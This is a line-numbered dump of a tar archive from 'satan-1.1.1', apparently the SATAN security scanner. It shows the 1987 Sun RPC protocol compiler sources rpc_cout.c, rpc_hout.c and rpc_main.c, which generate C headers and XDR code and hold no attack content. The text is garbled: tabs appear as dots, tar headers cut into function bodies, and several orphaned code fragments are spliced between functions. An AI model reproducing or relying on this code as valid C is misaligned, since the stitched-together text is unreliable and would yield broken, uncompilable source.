  18400. .for (cl = def->def.un.cases; cl != NULL; cl = cl->next) {
  18401. ..cs = &cl->case_decl;
  18402. ..f_print(fout, "\tcase %s:\n", cl->case_name);
  18403. ..if (!streq(cs->type, "void")) {
  18404. ...object = alloc(strlen(def->def_name) + strlen(format) +
  18405. ....       strlen(cs->name) + 1);
  18406. ...if (isvectordef(cs->type, cs->rel)) {
  18407. ....s_print(object, vectorfmt, def->def_name, 
  18408. .....cs->name);
  18409. ...} else {
  18410. ....s_print(object, format, def->def_name, 
  18411. .....cs->name);
  18412. ...}
  18413. ...print_ifstat(2, cs->prefix, cs->type, cs->rel, cs->array_max,
  18414. ....     object, cs->name);
  18415. ...free(object);
  18416. ..}
  18417. ..f_print(fout, "\t\tbreak;\n");
  18418. .}
  18419. .dflt = def->def.un.default_decl;
  18420. .if (dflt != NULL) {
  18421. ..if (!streq(dflt->type, "void")) {
  18422. ...f_print(fout, "\tdefault:\n");
  18423. ...object = alloc(strlen(def->def_name) + strlen(format) +
  18424. ....       strlen(dflt->name) + 1);
  18425. ...if (isvectordef(dflt->type, dflt->rel)) {
  18426. ....s_print(object, vectorfmt, def->def_name, 
  18427. .....dflt->name);
  18428. ...} else {
  18429. ....s_print(object, format, def->def_name, 
  18430. .....dflt->name);
  18431. ...}
  18432. ...print_ifstat(2, dflt->prefix, dflt->type, dflt->rel,
  18433. ....     dflt->array_max, object, dflt->name);
  18434. ...free(object);
  18435. ...f_print(fout, "\t\tbreak;\n");
  18436. ..}
  18437. .} else {
  18438. ..f_print(fout, "\tdefault:\n");
  18439. ..f_print(fout, "\t\treturn (FALSE);\n");
  18440. .}
  18441. .f_print(fout, "\t}\n");
  18442. }
  18443.  
  18444.  
  18445.  
  18446. static
  18447. emit_struct(def)
  18448. .definition *def;
  18449. {
  18450. .decl_list *dl;
  18451.  
  18452. .for (dl = def->def.st.decls; dl != NULL; dl = dl->next) {
  18453. ..print_stat(&dl->decl);
  18454. .}
  18455. }
  18456.  
  18457.  
  18458.  
  18459.  
  18460. static
  18461. emit_typedef(def)
  18462. .definition *def;
  18463. {
  18464. .char *prefix = def->def.ty.old_prefix;
  18465. .char *type = def->def.ty.old_type;
  18466. .char *amax = def->def.ty.array_max;
  18467. .relation rel = def->def.ty.rel;
  18468.  
  18469. .print_ifstat(1, prefix, type, rel, amax, "objp", def->def_name);
  18470. }
  18471.  
  18472.  
  18473.  
  18474.  
  18475.  
  18476. static
  18477. print_stat(dec)
  18478. .declaration *dec;
  18479. {
  18480. .char *prefix = dec->prefix;
  18481. .char *type = dec->type;
  18482. .char *amax = dec->array_max;
  18483. .relation rel = dec->rel;
  18484. .char name[256];
  18485.  
  18486. .if (isvectordef(type, rel)) {
  18487. ..s_print(name, "objp->%s", dec->name);
  18488. .} else {
  18489. ..s_print(name, "&objp->%s", dec->name);
  18490. .}
  18491. .print_ifstat(1, prefix, type, rel, amax, name, dec->name);
  18492. }
  18493. );\n");
  18494. .tabify(fout, indent);
  18495. .f_print(fout, "}\n");
  18496. }
  18497.  
  18498. static
  18499. space()
  18500. {
  18501. .f_print(fout, "\n\n");
  18502. }
  18503.  
  18504. static
  18505. print_ifstat(indent, prefix, type, rel, amax, objname, name)
  18506. .int indent;
  18507. .char *prefix;
  18508. .char *type;
  18509. .relation rel;
  18510. .char *amax;
  18511. .char *objname;
  18512. .char *name;
  18513. {
  18514. .char *alt = NULL;
  18515.  
  18516. .switch (rel) {
  18517. .case REL_POINTER:
  18518. ..print_ifopen(indent, "pointer");
  18519. ..print_ifarg("(char **)");
  18520. ..f_print(fousatan-1.1.1/src/rpcgen/rpc_hout.c...................................................................   600 .   465 .   506 .      20313  5741525574  11762. ........................................................................................
  18521. .................................................................................................................................................................................................................................................................
  18522. .........../* @(#)rpc_hout.c.2.1 88/08/01 4.0 RPCSRC */
  18523. /*
  18524.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  18525.  * unrestricted use provided that this legend is included on all tape
  18526.  * media and as a part of the software program in whole or part.  Users
  18527.  * may copy or modify Sun RPC without charge, but are not authorized
  18528.  * to license or distribute it to anyone else except as part of a product or
  18529.  * program developed by the user.
  18530.  * 
  18531.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  18532.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  18533.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  18534.  * 
  18535.  * Sun RPC is provided with no support and without any obligation on the
  18536.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  18537.  * modification or enhancement.
  18538.  * 
  18539.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  18540.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  18541.  * OR ANY PART THEREOF.
  18542.  * 
  18543.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  18544.  * or profits or other special, indirect and consequential damages, even if
  18545.  * Sun has been advised of the possibility of such damages.
  18546.  * 
  18547.  * Sun Microsystems, Inc.
  18548.  * 2550 Garcia Avenue
  18549.  * Mountain View, California  94043
  18550.  */
  18551. #ifndef lint
  18552. static char sccsid[] = "@(#)rpc_hout.c 1.6 87/07/28 (C) 1987 SMI";
  18553. #endif
  18554.  
  18555. /*
  18556.  * rpc_hout.c, Header file outputter for the RPC protocol compiler 
  18557.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  18558.  */
  18559. #include <stdlib.h>
  18560. #include <unistd.h>
  18561. #include <stdio.h>
  18562. #include <ctype.h>
  18563. #include "rpc_util.h"
  18564. #include "rpc_parse.h"
  18565.  
  18566. static pconstdef();
  18567. static pstructdef();
  18568. static puniondef();
  18569. static pdefine();
  18570. static pprogramdef();
  18571. static penumdef();
  18572. static ptypedef();
  18573. static pdeclaration();
  18574. static undefined2();
  18575.  
  18576. /*
  18577.  * Print the C-version of an xdr definition 
  18578.  */
  18579. void
  18580. print_datadef(def)
  18581. .definition *def;
  18582. {
  18583. .if (def->def_kind != DEF_CONST) {
  18584. ..f_print(fout, "\n");
  18585. .}
  18586. .switch (def->def_kind) {
  18587. .case DEF_STRUCT:
  18588. ..pstructdef(def);
  18589. ..break;
  18590. .case DEF_UNION:
  18591. ..puniondef(def);
  18592. ..break;
  18593. .case DEF_ENUM:
  18594. ..penumdef(def);
  18595. ..break;
  18596. .case DEF_TYPEDEF:
  18597. ..ptypedef(def);
  18598. ..break;
  18599. .case DEF_PROGRAM:
  18600. ..pprogramdef(def);
  18601. ..break;
  18602. .case DEF_CONST:
  18603. ..pconstdef(def);
  18604. ..break;
  18605. .}
  18606. .if (def->def_kind != DEF_PROGRAM && def->def_kind != DEF_CONST) {
  18607. ..f_print(fout, "bool_t xdr_%s();\n", def->def_name);
  18608. .}
  18609. .if (def->def_kind != DEF_CONST) {
  18610. ..f_print(fout, "\n");
  18611. .}
  18612. }
  18613.  
  18614. static
  18615. pconstdef(def)
  18616. .definition *def;
  18617. {
  18618. .pdefine(def->def_name, def->def.co);
  18619. }
  18620.  
  18621. static
  18622. pstructdef(def)
  18623. .definition *def;
  18624. {
  18625. .decl_list *l;
  18626. .char *name = def->def_name;
  18627.  
  18628. .f_print(fout, "struct %s {\n", name);
  18629. .for (l = def->def.st.decls; l != NULL; l = l->next) {
  18630. ..pdeclaration(name, &l->decl, 1);
  18631. .}
  18632. .f_print(fout, "};\n");
  18633. .f_print(fout, "typedef struct %s %s;\n", name, name);
  18634. }
  18635.  
  18636. static
  18637. puniondef(def)
  18638. .definition *def;
  18639. {
  18640. .case_list *l;
  18641. .char *name = def->def_name;
  18642. .declaration *decl;
  18643.  
  18644. .f_print(fout, "struct %s {\n", name);
  18645. .decl = &def->def.un.enum_decl;
  18646. .if (streq(decl->type, "bool")) {
  18647. ..f_print(fout, "\tbool_t %s;\n", decl->name);
  18648. .} else {
  18649. ..f_print(fout, "\t%s %s;\n", decl->type, decl->name);
  18650. .}
  18651. .f_print(fout, "\tunion {\n");
  18652. .for (l = def->def.un.cases; l != NULL; l = l->next) {
  18653. ..pdeclaration(name, &l->case_decl, 2);
  18654. .}
  18655. .decl = def->def.un.default_decl;
  18656. .if (decl && !streq(decl->type, "void")) {
  18657. ..pdeclaration(name, decl, 2);
  18658. .}
  18659. .f_print(fout, "\t} %s_u;\n", name);
  18660. .f_print(fout, "};\n");
  18661. .f_print(fout, "typedef struct %s %s;\n", name, name);
  18662. }
  18663.  
  18664.  
  18665.  
  18666. static
  18667. pdefine(name, num)
  18668. .char *name;
  18669. .char *num;
  18670. {
  18671. .f_print(fout, "#define %s %s\n", name, num);
  18672. }
  18673.  
  18674. static
  18675. puldefine(name, num)
  18676. .char *name;
  18677. .char *num;
  18678. {
  18679. .f_print(fout, "#define %s ((u_long)%s)\n", name, num);
  18680. }
  18681.  
  18682. static
  18683. define_printed(stop, start)
  18684. .proc_list *stop;
  18685. .version_list *start;
  18686. {
  18687. .version_list *vers;
  18688. .proc_list *proc;
  18689.  
  18690. .for (vers = start; vers != NULL; vers = vers->next) {
  18691. ..for (proc = vers->procs; proc != NULL; proc = proc->next) {
  18692. ...if (proc == stop) {
  18693. ....return (0);
  18694. ...} else if (streq(proc->proc_name, stop->proc_name)) {
  18695. ....return (1);
  18696. ...}
  18697. ..}
  18698. .}
  18699. .abort();
  18700. ./* NOTREACHED */
  18701. }
  18702.  
  18703.  
  18704. static
  18705. pprogramdef(def)
  18706. .definition *def;
  18707. {
  18708. .version_list *vers;
  18709. .proc_list *proc;
  18710.  
  18711. .puldefine(def->def_name, def->def.pr.prog_num);
  18712. .for (vers = def->def.pr.versions; vers != NULL; vers = vers->next) {
  18713. ..puldefine(vers->vers_name, vers->vers_num);
  18714. ..for (proc = vers->procs; proc != NULL; proc = proc->next) {
  18715. ...if (!define_printed(proc, def->def.pr.versions)) {
  18716. ....puldefine(proc->proc_name, proc->proc_num);
  18717. ...}
  18718. ...pprocdef(proc, vers);
  18719. ..}
  18720. .}
  18721. }
  18722.  
  18723.  
  18724. pprocdef(proc, vp)
  18725. .proc_list *proc;
  18726. .version_list *vp;
  18727. {
  18728. .f_print(fout, "extern ");
  18729. .if (proc->res_prefix) {
  18730. ..if (streq(proc->res_prefix, "enum")) {
  18731. ...f_print(fout, "enum ");
  18732. ..} else {
  18733. ...f_print(fout, "struct ");
  18734. ..}
  18735. .}
  18736. .if (streq(proc->res_type, "bool")) {
  18737. ..f_print(fout, "bool_t *");
  18738. .} else if (streq(proc->res_type, "string")) {
  18739. ..f_print(fout, "char **");
  18740. .} else {
  18741. ..f_print(fout, "%s *", fixtype(proc->res_type));
  18742. .}
  18743. .pvname(proc->proc_name, vp->vers_num);
  18744. .f_print(fout, "();\n");
  18745. }
  18746.  
  18747. static
  18748. penumdef(def)
  18749. .definition *def;
  18750. {
  18751. .char *name = def->def_name;
  18752. .enumval_list *l;
  18753. .char *last = NULL;
  18754. .int count = 0;
  18755.  
  18756. .f_print(fout, "enum %s {\n", name);
  18757. .for (l = def->def.en.vals; l != NULL; l = l->next) {
  18758. ..f_print(fout, "\t%s", l->name);
  18759. ..if (l->assignment) {
  18760. ...f_print(fout, " = %s", l->assignment);
  18761. ...last = l->assignment;
  18762. ...count = 1;
  18763. ..} else {
  18764. ...if (last == NULL) {
  18765. ....f_print(fout, " = %d", count++);
  18766. ...} else {
  18767. ....f_print(fout, " = %s + %d", last, count++);
  18768. ...}
  18769. ..}
  18770. ..f_print(fout, ",\n");
  18771. .}
  18772. .f_print(fout, "};\n");
  18773. .f_print(fout, "typedef enum %s %s;\n", name, name);
  18774. }
  18775.  
  18776. static
  18777. ptypedef(def)
  18778. .definition *def;
  18779. {
  18780. .char *name = def->def_name;
  18781. .char *old = def->def.ty.old_type;
  18782. .char prefix[8];./* enough to contain "struct ", including NUL */
  18783. .relation rel = def->def.ty.rel;
  18784.  
  18785.  
  18786. .if (!streq(name, old)) {
  18787. ..if (streq(old, "string")) {
  18788. ...old = "char";
  18789. ...rel = REL_POINTER;
  18790. ..} else if (streq(old, "opaque")) {
  18791. ...old = "char";
  18792. ..} else if (streq(old, "bool")) {
  18793. ...old = "bool_t";
  18794. ..}
  18795. ..if (undefined2(old, name) && def->def.ty.old_prefix) {
  18796. ...s_print(prefix, "%s ", def->def.ty.old_prefix);
  18797. ..} else {
  18798. ...prefix[0] = 0;
  18799. ..}
  18800. ..f_print(fout, "typedef ");
  18801. ..switch (rel) {
  18802. ..case REL_ARRAY:
  18803. ...f_print(fout, "struct {\n");
  18804. ...f_print(fout, "\tu_int %s_len;\n", name);
  18805. ...f_print(fout, "\t%s%s *%s_val;\n", prefix, old, name);
  18806. ...f_print(fout, "} %s", name);
  18807. ...break;
  18808. ..case REL_POINTER:
  18809. ...f_print(fout, "%s%s *%s", prefix, old, name);
  18810. ...break;
  18811. ..case REL_VECTOR:
  18812. ...f_print(fout, "%s%s %s[%s]", prefix, old, name,
  18813. ....def->def.ty.array_max);
  18814. ...break;
  18815. ..case REL_ALIAS:
  18816.  ...f_print(fout, "%s%s %s", prefix, old, name);
  18817. ...break;
  18818. ..}
  18819. ..f_print(fout, ";\n");
  18820. .}
  18821. }
  18822.  
  18823.  
  18824. static
  18825. pdeclaration(name, dec, tab)
  18826. .char *name;
  18827. .declaration *dec;
  18828. .int tab;
  18829. {
  18830. .char buf[8];./* enough to hold "struct ", include NUL */
  18831. .char *prefix;
  18832. .char *type;
  18833.  
  18834. .if (streq(dec->type, "void")) {
  18835. ..return;
  18836. .}
  18837. .tabify(fout, tab);
  18838. .if (streq(dec->type, name) && !dec->prefix) {
  18839. ..f_print(fout, "struct ");
  18840. .}
  18841. .if (streq(dec->type, "string")) {
  18842. ..f_print(fout, "char *%s", dec->name);
  18843. .} else {
  18844. ..prefix = "";
  18845. ..if (streq(dec->type, "bool")) {
  18846. ...type = "bool_t";
  18847. ..} else if (streq(dec->type, "opaque")) {
  18848. ...type = "char";
  18849. ..} else {
  18850. ...if (dec->prefix) {
  18851. ....s_print(buf, "%s ", dec->prefix);
  18852. ....prefix = buf;
  18853. ...}
  18854. ...type = dec->type;
  18855. ..}
  18856. ..switch (dec->rel) {
  18857. ..case REL_ALIAS:
  18858. ...f_print(fout, "%s%s %s", prefix, type, dec->name);
  18859. ...break;
  18860. ..case REL_VECTOR:
  18861. ...f_print(fout, "%s%s %s[%s]", prefix, type, dec->name,
  18862. ....dec->array_max);
  18863. ...break;
  18864. ..case REL_POINTER:
  18865. ...f_print(fout, "%s%s *%s", prefix, type, dec->name);
  18866. ...break;
  18867. ..case REL_ARRAY:
  18868. ...f_print(fout, "struct {\n");
  18869. ...tabify(fout, tab);
  18870. ...f_print(fout, "\tu_int %s_len;\n", dec->name);
  18871. ...tabify(fout, tab);
  18872. ...f_print(fout, "\t%s%s *%s_val;\n", prefix, type, dec->name);
  18873. ...tabify(fout, tab);
  18874. ...f_print(fout, "} %s", dec->name);
  18875. ...break;
  18876. ..}
  18877. .}
  18878. .f_print(fout, ";\n");
  18879. }
  18880.  
  18881.  
  18882.  
  18883. static
  18884. undefined2(type, stop)
  18885. .char *type;
  18886. .char *stop;
  18887. {
  18888. .list *l;
  18889. .definition *def;
  18890.  
  18891. .for (l = defined; l != NULL; l = l->next) {
  18892. ..def = (definition *) l->val;
  18893. ..if (def->def_kind != DEF_PROGRAM) {
  18894. ...if (streq(def->def_name, stop)) {
  18895. ....return (1);
  18896. ...} else if (streq(def->def_name, type)) {
  18897. ....return (0);
  18898. ...}
  18899. ..}
  18900. .}
  18901. .return (1);
  18902. }
  18903.  def->def.pr.versions; vers != NULL; vers = vers->next) {
  18904. ..puldefine(vers->vers_name, vers->vers_num);
  18905. ..for (proc = vers->procs; proc != NULL; proc = proc->next) {
  18906. ...if (!define_printed(proc, def->def.pr.versions)) {
  18907. ....puldefine(proc->proc_name, proc->proc_num);
  18908. ...}
  18909. ...pprocdef(proc, vers);
  18910. ..}
  18911. .}
  18912. }
  18913.  
  18914.  
  18915. satan-1.1.1/src/rpcgen/rpc_main.c...................................................................   600 .   465 .   506 .      22151  5741546550  11726. .....................................................................................................
  18916. .............................................................................................................................................................................................................................................................../*
  18917.  @(#)rpc_main.c.2.2 88/08/01 4.0 RPCSRC */
  18918. /*
  18919.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  18920.  * unrestricted use provided that this legend is included on all tape
  18921.  * media and as a part of the software program in whole or part.  Users
  18922.  * may copy or modify Sun RPC without charge, but are not authorized
  18923.  * to license or distribute it to anyone else except as part of a product or
  18924.  * program developed by the user.
  18925.  * 
  18926.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  18927.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  18928.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  18929.  * 
  18930.  * Sun RPC is provided with no support and without any obligation on the
  18931.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  18932.  * modification or enhancement.
  18933.  * 
  18934.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  18935.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  18936.  * OR ANY PART THEREOF.
  18937.  * 
  18938.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  18939.  * or profits or other special, indirect and consequential damages, even if
  18940.  * Sun has been advised of the possibility of such damages.
  18941.  * 
  18942.  * Sun Microsystems, Inc.
  18943.  * 2550 Garcia Avenue
  18944.  * Mountain View, California  94043
  18945.  */
  18946. #ifndef lint
  18947. static char sccsid[] = "@(#)rpc_main.c 1.7 87/06/24 (C) 1987 SMI";
  18948. #endif
  18949.  
  18950. /*
  18951.  * rpc_main.c, Top level of the RPC protocol compiler. 
  18952.  * Copyright (C) 1987, Sun Microsystems, Inc. 
  18953.  */
  18954.  
  18955. #include <stdio.h>
  18956. #include <string.h>
  18957. #include <stdlib.h>
  18958. #include <unistd.h>
  18959. #include <sys/file.h>
  18960. #include "rpc_util.h"
  18961. #include "rpc_parse.h"
  18962. #include "rpc_scan.h"
  18963.  
  18964. #define EXTEND.1../* alias for TRUE */
  18965.  
  18966. struct commandline {
  18967. .int cflag;
  18968. .int hflag;
  18969. .int lflag;
  18970. .int sflag;
  18971. .int mflag;
  18972. .char *infile;
  18973. .char *outfile;
  18974. };
  18975.  
  18976. static char *cmdname;
  18977. static char CPP[] = "cc";
  18978. #define CPPFLAGS "-C", "-E"
  18979. static char *allv[] = {
  18980. ."rpcgen", "-s", "udp", "-s", "tcp",
  18981. };
  18982. static int allc = sizeof(allv)/sizeof(allv[0]);
  18983.  
  18984. static c_output();
  18985. static h_output();
  18986. static s_output();
  18987. static l_output();
  18988. static do_registers();
  18989. static parseargs();
  18990.  
  18991. main(argc, argv)
  18992. .int argc;
  18993. .char *argv[];
  18994.  
  18995. {
  18996. .struct commandline cmd;
  18997.  
  18998. .if (!parseargs(argc, argv, &cmd)) {
  18999. ..f_print(stderr,
  19000. ..."usage: %s infile\n", cmdname);
  19001. ..f_print(stderr,
  19002. ..."       %s [-c | -h | -l | -m] [-o outfile] [infile]\n",
  19003. ...cmdname);
  19004. ..f_print(stderr,
  19005. ..."       %s [-s udp|tcp]* [-o outfile] [infile]\n",
  19006. ...cmdname);
  19007. ..exit(1);
  19008. .}
  19009. .if (cmd.cflag) {
  19010. ..c_output(cmd.infile, "-DRPC_XDR", !EXTEND, cmd.outfile);
  19011. .} else if (cmd.hflag) {
  19012. ..h_output(cmd.infile, "-DRPC_HDR", !EXTEND, cmd.outfile);
  19013. .} else if (cmd.lflag) {
  19014. ..l_output(cmd.infile, "-DRPC_CLNT", !EXTEND, cmd.outfile);
  19015. .} else if (cmd.sflag || cmd.mflag) {
  19016. ..s_output(argc, argv, cmd.infile, "-DRPC_SVC", !EXTEND,
  19017. ... cmd.outfile, cmd.mflag);
  19018. .} else {
  19019. ..c_output(cmd.infile, "-DRPC_XDR", EXTEND, "_xdr.c");
  19020. ..reinitialize();
  19021. ..h_output(cmd.infile, "-DRPC_HDR", EXTEND, ".h");
  19022. ..reinitialize();
  19023. ..l_output(cmd.infile, "-DRPC_CLNT", EXTEND, "_clnt.c");
  19024. ..reinitialize();
  19025. ..s_output(allc, allv, cmd.infile, "-DRPC_SVC", EXTEND,
  19026. ... "_svc.c", cmd.mflag);
  19027. .}
  19028. .exit(0);
  19029. }
  19030.  
  19031. /*
  19032.  * add extension to filename 
  19033.  */
  19034. static char *
  19035. extendfile(file, ext)
  19036. .char *file;
  19037. .char *ext;
  19038. {
  19039. .char *res;
  19040. .char *p;
  19041.  
  19042. .res = alloc(strlen(file) + strlen(ext) + 1);
  19043. .if (res == NULL) {
  19044. ..abort();
  19045. .}
  19046. .p = strchr(file, '.');
  19047. .if (p == NULL) {
  19048. ..p = file + strlen(file);
  19049. .}
  19050. .(void) strcpy(res, file);
  19051. .(void) strcpy(res + (p - file), ext);
  19052. .return (res);
  19053. }
  19054.  
  19055. /*
  19056.  * Open output file with given extension 
  19057.  */
  19058. static
  19059. open_output(infile, outfile)
  19060. .char *infile;
  19061. .char *outfile;
  19062. {
  19063. .if (outfile == NULL) {
  19064. ..fout = stdout;
  19065. ..return;
  19066. .}
  19067. .if (infile != NULL && streq(outfile, infile)) {
  19068. ..f_print(stderr, "%s: output would overwrite %s\n", cmdname,
  19069. ...infile);
  19070. ..crash();
  19071. .}
  19072. .fout = fopen(outfile, "w");
  19073. .if (fout == NULL) {
  19074. ..f_print(stderr, "%s: unable to open ", cmdname);
  19075. ..perror(outfile);
  19076. ..crash();
  19077. .}
  19078. .record_open(outfile);
  19079. }
  19080.  
  19081. /*
  19082.  * Open input file with given define for C-preprocessor 
  19083.  */
  19084. static
  19085. open_input(infile, define)
  19086. .char *infile;
  19087. .char *define;
  19088. {
  19089. .int pd[2];
  19090.  
  19091. .infilename = (infile == NULL) ? "<stdin>" : infile;
  19092. .(void) pipe(pd);
  19093. .switch (fork()) {
  19094. .case 0:
  19095. ..(void) close(1);
  19096. ..(void) dup2(pd[1], 1);
  19097. ..(void) close(pd[0]);
  19098. ..execlp(CPP, CPP, CPPFLAGS, define, infile, NULL);
  19099. ..perror("execlp");
  19100. ..exit(1);
  19101. .case -1:
  19102. ..perror("fork");
  19103. ..exit(1);
  19104. .}
  19105. .(void) close(pd[1]);
  19106. .fin = fdopen(pd[0], "r");
  19107. .if (fin == NULL) {
  19108. ..f_print(stderr, "%s: ", cmdname);
  19109. ..perror(infilename);
  19110. ..crash();
  19111. .}
  19112. }
  19113.  
  19114. /*
  19115.  * Compile into an XDR routine output file
  19116.  */
  19117. static
  19118. c_output(infile, define, extend, outfile)
  19119. .char *infile;
  19120. .char *define;
  19121. .int extend;
  19122. .char *outfile;
  19123. {
  19124. .definition *def;
  19125. .char *include;
  19126. .char *outfilename;
  19127. .long tell;
  19128.  
  19129. .open_input(infile, define);.
  19130. .outfilename = extend ? extendfile(infile, outfile) : outfile;
  19131. .open_output(infile, outfilename);
  19132. .f_print(fout, "#include <sys/time.h>\n");
  19133. .f_print(fout, "#include <rpc/rpc.h>\n");
  19134. .if (infile && (include = extendfile(infile, ".h"))) {
  19135. ..f_print(fout, "#include \"%s\"\n", include);
  19136. ..free(include);
  19137. .}
  19138. .tell = ftell(fout);
  19139. .while (def = get_definition()) {
  19140. ..emit(def);
  19141. .}
  19142. .if (extend && tell == ftell(fout)) {
  19143. ..(void) unlink(outfilename);
  19144. .}
  19145. }
  19146.  
  19147. /*
  19148.  * Compile into an XDR header file
  19149.  */
  19150. static
  19151. h_output(infile, define, extend, outfile)
  19152. .char *infile;
  19153. .char *define;
  19154. .int extend;
  19155. .char *outfile;
  19156. {
  19157. .definition *def;
  19158. .char *outfilename;
  19159. .long tell;
  19160.  
  19161. .open_input(infile, define);
  19162. .outfilename =  extend ? extendfile(infile, outfile) : outfile;
  19163. .open_output(infile, outfilename);
  19164. .tell = ftell(fout);
  19165. .while (def = get_definition()) {
  19166. ..print_datadef(def);
  19167. .}
  19168. .if (extend && tell == ftell(fout)) {
  19169. ..(void) unlink(outfilename);
  19170. .}
  19171. }
  19172.  
  19173. /*
  19174.  * Compile into an RPC service
  19175.  */
  19176. static
  19177. s_output(argc, argv, infile, define, extend, outfile, nomain)
  19178. .int argc;
  19179. .char *argv[];
  19180. .char *infile;
  19181. .char *define;
  19182. .int extend;
  19183. .char *outfile;
  19184. .int nomain;
  19185. {
  19186. .char *include;
  19187. .definition *def;
  19188. .int foundprogram;
  19189. .char *outfilename;
  19190.  
  19191. .open_input(infile, define);
  19192. .outfilename = extend ? extendfile(infile, outfile) : outfile;
  19193. .open_output(infile, outfilename);
  19194. .f_print(fout, "#include <stdio.h>\n");
  19195. .f_print(fout, "#include <sys/time.h>\n");
  19196. .f_print(fout, "#include <rpc/rpc.h>\n");
  19197. .if (infile && (include = extendfile(infile, ".h"))) {
  19198. ..f_print(fout, "#include \"%s\"\n", include);
  19199. ..free(include);
  19200. .}
  19201. .foundprogram = 0;
  19202. .while (def = get_definition()) {
  19203. ..foundprogram |= (def->def_kind == DEF_PROGRAM);
  19204. .}
  19205. .if (extend && !foundprogram) {
  19206. ..(void) unlink(outfilename);
  19207. ..return;
  19208. .}
  19209. .if (nomain) {
  19210. ..write_programs((char *)NULL);
  19211. .} else {
  19212. ..write_most();
  19213. ..do_registers(argc, argv);
  19214. ..write_rest();
  19215. ..write_programs("static");
  19216. .}
  19217. }
  19218.  
  19219. static
  19220. l_output(infile, define, extend, outfile)
  19221. .char *infile;
  19222. .char *define;
  19223. .int extend;
  19224. .char *outfile;
  19225. {
  19226. .char *include;
  19227. .definition *def;
  19228. .int foundprogram;
  19229. .char *outfilename;
  19230.  
  19231. .open_input(infile, define);
  19232. .outfilename = extend ? extendfile(infile, outfile) : outfile;
  19233. .open_output(infile, outfilename);
  19234. .f_print(fout, "#include <sys/time.h>\n");
  19235. .f_print(fout, "#include <rpc/rpc.h>\n");
  19236. .if (infile && (include = extendfile(infile, ".h"))) {
  19237. ..f_print(fout, "#include \"%s\"\n", include);
  19238. ..free(include);
  19239. .}
  19240. .foundprogram = 0;
  19241. .while (def = get_definition()) {
  19242. ..foundprogram |= (def->def_kind == DEF_PROGRAM);
  19243. .}
  19244. .if (extend && !foundprogram) {
  19245. ..(void) unlink(outfilename);
  19246. ..return;
  19247. .}
  19248. .write_stubs();
  19249. }
  19250.  
  19251. /*
  19252.  * Perform registrations for service output 
  19253.  */
  19254. static
  19255. do_registers(argc, argv)
  19256. .int argc;
  19257. .char *argv[];
  19258.  
  19259. {
  19260. .int i;
  19261.  
  19262. .for (i = 1; i < argc; i++) {
  19263. ..if (streq(argv[i], "-s")) {
  19264. ...write_register(argv[i + 1]);
  19265. ...i++;
  19266. ..}
  19267. .}
  19268. }
  19269.  
  19270. /*
  19271.  * Parse command line arguments 
  19272.  */
  19273. static
  19274. parseargs(argc, argv, cmd)
  19275. .int argc;
  19276. .char *argv[];
  19277. .struct commandline *cmd;
  19278.  
  19279. {
  19280. .int i;
  19281. .int j;
  19282. .char c;
  19283. .char flag[(1 << 8 * sizeof(char))];
  19284. .int nflags;
  19285.  
  19286. .cmdname = argv[0];
  19287. .cmd->infile = cmd->outfile = NULL;
  19288. .if (argc < 2) {
  19289. ..return (0);
  19290. .}
  19291. .flag['c'] = 0;
  19292. .flag['h'] = 0;
  19293. .flag['s'] = 0;
  19294. .flag['o'] = 0;
  19295. .flag['l'] = 0;
  19296. .flag['m'] = 0;
  19297. .for (i = 1; i < argc; i++) {
  19298. ..if (argv[i][0] != '-') {
  19299. ...if (cmd->infile) {
  19300. ....return (0);
  19301. ...}
  19302. ...cmd->infile = argv[i];
  19303. ..} else {
  19304. ...for (j = 1; argv[i][j] != 0; j++) {
  19305. ....c = argv[i][j];
  19306. ....switch (c) {
  19307. ....case 'c':
  19308. ....case 'h':
  19309. ....case 'l':
  19310. ....case 'm':
  19311. .....if (flag[c]) {
  19312. ......return (0);
  19313. .....}
  19314. .....flag[c] = 1;
  19315. .....break;
  19316. ....case 'o':
  19317. ....case 's':
  19318. .....if (argv[i][j - 1] != '-' || 
  19319. .....    argv[i][j + 1] != 0) {
  19320. ......return (0);
  19321. .....}
  19322. .....flag[c] = 1;
  19323. .....if (++i == argc) {
  19324. ......return (0);
  19325. .....}
  19326. .....if (c == 's') {
  19327. ......if (!streq(argv[i], "udp") &&
  19328. ......    !streq(argv[i], "tcp")) {
  19329. .......return (0);
  19330. ......}
  19331. .....} else if (c == 'o') {
  19332. ......if (cmd->outfile) {
  19333. .......return (0);
  19334. ......}
  19335. ......cmd->outfile = argv[i];
  19336. .....}
  19337. .....goto nextarg;
  19338.  
  19339. ....default:
  19340. .....return (0);
  19341. ....}
  19342. ...}
  19343. .nextarg:
  19344. ...;
  19345. ..}
  19346. .}
  19347. .cmd->cflag = flag['c'];
  19348. .cmd->hflag = flag['h'];
  19349. .cmd->sflag = flag['s'];
  19350. .cmd->lflag = flag['l'];
  19351. .cmd->mflag = flag['m'];
  19352. .nflags = cmd->cflag + cmd->hflag + cmd->sflag + cmd->lflag + cmd->mflag;
  19353. .if (nflags == 0) {
  19354. ..if (cmd->outfile != NULL || cmd->infile == NULL) {
  19355. ...return (0);
  19356. ..}
  19357. .} else if (nflags > 1) {
  19358. ..return (0);
  19359. .}
  19360. .return (1);
  19361. }
  19362. ef);
  19363. .}
  19364. .if (extend && tell == ftell(fout)) {
  19365. ..(void) unlink(outfilename);
  19366. .}
  19367. }
  19368.  
  19369. /*
  19370.  * Compile into an XDR header file
  19371.  */
